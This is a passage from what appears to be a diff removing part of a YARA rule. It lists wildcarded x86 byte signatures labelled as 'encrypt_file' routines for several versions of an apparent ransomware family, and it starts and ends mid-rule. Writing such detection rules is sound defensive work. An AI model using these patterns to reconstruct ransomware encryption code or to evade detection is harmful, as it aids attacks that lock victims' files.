-            55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 99 05 00 00 8B 45 ??
-            83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 6E 05 00 00
-            8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ??
-            ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 F4 04 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B
-            4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50
-            8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 E7 03 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ??
-            8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 AF 03 00 00
-            8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 97 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6A 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 2C 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 D9 02 00 00
-        }
-		$v20_1_encrypt_file_2 = {
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ??
-            8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 81 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B
-            4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 41 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ??
-            0F 85 32 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F
-            84 0B 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 FF 01 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ??
-            ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CE 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F 84 73 01 00 00 C7 45 ?? ??
-            ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 75 ?? 8B 45 ?? 3B 45
-            ?? 77 1A 72 0B 8B 8D ?? ?? ?? ?? 3B 4D ?? 73 0D 8B 55 ?? 33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55
-            ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03 4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B
-        }
-		$v20_1_encrypt_file_3 = {
-            55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F 84 A2 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 96 00 00 00 C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ??
-            ?? ?? ?? 83 C4 ?? 85 C0 74 60 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF
-            D1 85 C0 74 31 8B 55 ?? 3B 55 ?? 75 29 8B 45 ?? 33 C9 03 45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ??
-            52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02
-            EB 05 E9 79 FE FF FF 83 7D ?? ?? 74 17 8B 55 ?? 3B 55 ?? 75 0F 8B 45 ?? 3B 45 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51
-            E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ??
-            ?? 8B 90 ?? ?? ?? ?? FF D2 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ??
-            ?? ?? ?? FF D0 83 7D ?? ?? 74 0C 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0
-            83 7D ?? ?? 75 22 6A ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 75 07 C7 45 ?? ?? ?? ?? ??
-            8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ??
-            68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 74 37 8D 95 ?? ?? ?? ?? 52 8D 85
-            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90
-            ?? ?? ?? ?? FF D2 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 5E 8B E5 5D C3
-        }
-		$v30_1_encrypt_file_1 = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 02 05 00 00 8B 45 ?? 83 38 ?? 74
-            09 8B 4D ?? 83 79 ?? ?? 75 08 8B 45 ?? E9 E9 04 00 00 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
-            FF D0 89 45 ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 6F 04 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? 85 C0 0F 85 90 03 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 F8 ?? 0F 84 70 03
-            00 00 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 50 03 00 00 8D 55 ?? 52 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 38 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ??
-            ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 04 03 00 00 6A ?? 6A ?? 8B 45 ?? 8B 48 ?? 51 8B 55 ?? 52 E8 ??
-            ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 CC 02 00 00 8B 4D ?? 3B 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 06 8B 45 ?? 89
-            45 ?? 8B 4D ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 6A ?? 6A ?? 8B 45 ?? 8B 08 51 E8 ?? ?? ??
-            ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F 84 73 01 00 00 8B 45 ?? 8B 48 ?? 83 E9 ?? 89 4D ?? 8B 55 ?? D1 E2 89 55 ?? 8B 45 ??
-        }
-		$v30_1_encrypt_file_2 = {
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 35 01 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 2B 4D ?? 39 4D ?? 73 08 8B 55 ?? 89 55 ?? EB 09 8B 45 ?? 2B 45 ?? 89 45 ?? 8B 4D
-            ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
-            FF D0 85 C0 0F 84 94 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 88 00 00 00 8B 55 ?? 3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ??
-            ?? 74 73 8B 45 ?? 89 45 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80
-            ?? ?? ?? ?? FF D0 85 C0 74 44 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF
-            D2 85 C0 74 21 8B 45 ?? 3B 45 ?? 75 19 8B 4D ?? 03 4D ?? 89 4D ?? 8B 55 ?? 03 55 ?? 89 55 ?? C7 45 ?? ?? ?? ?? ?? 83 7D
-            ?? ?? 74 06 83 7D ?? ?? 74 02 EB 0C 8B 45 ?? 3B 45 ?? 0F 85 FB FE FF FF 8B 4D ?? 3B 4D ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B
-            55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 83 7D ?? ?? 0F 85 02 01 00 00 C7 45
-            ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 DB 00 00 00 6A ?? 8D
-            4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 AE 00
-        }
-		$v30_1_encrypt_file_3 = {
-            00 00 8B 55 ?? 8B 45 ?? 3B 42 ?? 0F 85 9F 00 00 00 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88
-            ?? ?? ?? ?? FF D1 85 C0 74 7E 83 7D ?? ?? 75 78 8B 55 ?? 3B 55 ?? 74 1B 8B 45 ?? 8B 4D ?? 03 48 ?? 89 4D ?? 8B 55 ?? 2B
-            55 ?? 89 55 ?? 8B 45 ?? 89 45 ?? 6A ?? 8D 4D ?? 51 6A ?? 8D 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1
-            85 C0 74 34 83 7D ?? ?? 75 2E 6A ?? 8D 55 ?? 52 6A ?? 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85
-            C0 74 0D 83 7D ?? ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 07 C7 45 ?? ?? ??
-            ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 7D ?? ?? 75 71 83 7D ?? ?? 75 28 83 7D ?? ?? 75 22 68 ?? ??
-            ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? EB 43 83 7D ?? ?? 74 36 83 7D ??
-            ?? 74 30 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0
-            74 07 C7 45 ?? ?? ?? ?? ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83
-            C4 ?? EB 07 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 45 ?? 8B E5 5D C3
-        }
-		$v30_2_encrypt_file_1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 56 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 06 83 7D ?? ?? 75 08 8B 45 ?? E9 BF 05 00 00 8B 45 ??
-            83 38 ?? 74 1B 8B 4D ?? 83 79 ?? ?? 74 12 8B 55 ?? 83 7A ?? ?? 74 09 8B 45 ?? 83 78 ?? ?? 75 08 8B 45 ?? E9 94 05 00 00
-            8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 89 45 ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 C7
-            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ??
-            ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 1A 05 00 00 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B
-            4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 07 C7 45 ?? ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 8D 45 ?? 50
-            8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 0D 04 00 00 66 0F 57 C0 66 0F 13 85 ?? ?? ?? ?? 6A ?? 6A ??
-            8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 83 F8 ?? 0F 84 D5 03 00 00
-            8D 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 BD 03 00 00 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B
-            45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52
-            E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 52 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? 8D 45 ?? 50 8D 4D ?? 51 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 FF 02 00 00
-        }
-		$v30_2_encrypt_file_2 = {
-            C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 8B 48 ?? 51 8B 55 ??
-            8B 02 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 A7 02 00 00 C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 4D ?? 51 8B 55 ?? 8B 42 ?? 50 8B
-            4D ?? 8B 51 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 67 02 00 00 8B 55 ?? 8B 45 ?? 3B 42 ??
-            0F 85 58 02 00 00 6A ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 0F
-            84 31 02 00 00 8B 45 ?? 3B 45 ?? 0F 85 25 02 00 00 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 C7 45 ?? ?? ?? ??
-            ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 F4 01 00 00 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ??
-            ?? ?? 66 0F 57 C0 66 0F 13 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 75 0C 8B 55 ?? 3B 55 ?? 0F
-            84 90 01 00 00 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 33 C9 8B 55 ?? 2B 55 ?? 8B 75 ?? 1B 75 ?? 89 85 ?? ?? ?? ?? 89 8D ?? ?? ??
-            ?? 89 95 ?? ?? ?? ?? 89 75 ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 77 1D 72 0E 8B 8D ?? ?? ?? ?? 3B 8D ?? ?? ?? ?? 73 0D 8B 55 ??
-            33 C0 89 55 ?? 89 45 ?? EB 12 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55 ?? 8B 45 ?? 89 45 ?? 8B 4D ?? 33 D2 03
-            4D ?? 13 55 ?? 89 8D ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 75 12 8B 8D ?? ?? ?? ?? 3B 4D ?? 75 07 C7
-            45 ?? ?? ?? ?? ?? 6A ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 85 C0 0F
-            84 B3 00 00 00 8B 4D ?? 3B 4D ?? 0F 85 A7 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8D 45 ?? 50 8B
-        }
-		$v30_2_encrypt_file_3 = {
-            4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 71 6A ?? 8D 45 ?? 50 8B 4D ??
-            51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 42 8B 55 ?? 3B 55 ?? 75 3A 8B 45 ?? 33 C9 03
-            45 ?? 13 4D ?? 89 45 ?? 89 4D ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 33 C0 03 55 ?? 13 45 ?? 89 55 ?? 89 45 ?? 8B 4D ?? 51 E8
-            ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 75 02 EB 0D 83 7D ?? ?? 74 02 EB 05
-            E9 5C FE FF FF 83 7D ?? ?? 74 17 8B 4D ?? 3B 4D ?? 75 0F 8B 55 ?? 3B 55 ?? 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ??
-            ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B
-            88 ?? ?? ?? ?? FF D1 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ??
-            ?? FF D2 83 7D ?? ?? 74 0C 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 83 7D
-            ?? ?? 75 22 6A ?? 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 75 07 C7 45 ?? ?? ?? ?? ?? 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 74 60 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ??
-            ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 74 37 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
-            ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ??
-            ?? ?? FF D1 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 8B 45 ?? 5E 8B E5 5D C3
-        }
-		$v30_3_encrypt_file_1 = {
-            55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 75 08 8B 45 ?? E9 48 04 00 00 83 7D ?? ?? 75 08 8B 45 ?? E9 3A 04 00
-            00 8B 45 ?? 83 78 ?? ?? 74 11 8B 4D ?? 83 39 ?? 74 09 8B 55 ?? 83 7A ?? ?? 75 08 8B 45 ?? E9 18 04 00 00 C7 45 ?? ?? ??
-            ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 6A ?? 8B 55
-            ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B
-            90 ?? ?? ?? ?? FF D2 89 45 ?? 83 7D ?? ?? 0F 84 90 03 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 0F 84
-            83 00 00 00 8B 45 ?? 8B 48 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 74 6B 6A ?? 8D 55 ?? 52 8B 45 ?? 8B 48 ??
-            51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 39 8B 55 ?? 3B 15 ?? ?? ?? ?? 75 2E 8B 45 ??
-            8B 48 ?? 51 8B 55 ?? 8B 42 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 8B 50 ?? FF D2 85 C0 75 0E C7 45 ?? ?? ?? ?? ?? C7 45 ?? ??
-            ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? 0F 84 9A 02 00 00 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ??
-            8B 90 ?? ?? ?? ?? FF D2 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 89 45 ?? 83 7D ?? ?? 0F 84 63 02 00 00
-            8B 55 ?? 3B 55 ?? 0F 87 57 02 00 00 8D 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 3F 02 00 00 6A ?? 6A
-        }
-		$v30_3_encrypt_file_2 = {
-            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? FF D0 89 45 ?? 83 7D ?? ?? 0F 84 0B 02 00
-            00 C7 45 ?? ?? ?? ?? ?? 8B 4D ?? 81 E1 ?? ?? ?? ?? 74 1C 6A ?? 6A ?? 8B 15 ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B
-            88 ?? ?? ?? ?? FF D1 C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 55 ?? 52 E8 ?? ?? ?? ?? 8B 80 ?? ?? ?? ??
-            FF D0 85 C0 0F 84 52 01 00 00 C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 8B 02 50 8B 4D ?? 8B 51 ?? 52 8B 45
-            ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 0F 84 0A 01 00 00 8B 55 ?? 8B 42 ?? 83 E8 ?? 89 45 ?? 8B 4D ?? D1 E1
-            89 4D ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 CC 00 00 00 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ??
-            ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 88 ?? ?? ?? ?? FF D1 85 C0 74 76 8B 55 ??
-            3B 55 ?? 73 07 C7 45 ?? ?? ?? ?? ?? 83 7D ?? ?? 74 5F 8B 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 6A ?? 8B 45 ?? 50 6A ?? 8B 4D
-            ?? 51 E8 ?? ?? ?? ?? 8B 90 ?? ?? ?? ?? FF D2 85 C0 74 21 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 E8 ?? ??
-            ?? ?? 8B 88 ?? ?? ?? ?? FF D1 EB 15 83 7D ?? ?? 74 0D 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? EB 0E EB 02 EB 0A 83 7D ??
-            ?? 0F 84 54 FF FF FF 83 7D ?? ?? 74 07 C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 ?? ?? ??
-        }
-		$v30_3_encrypt_file_3 = {
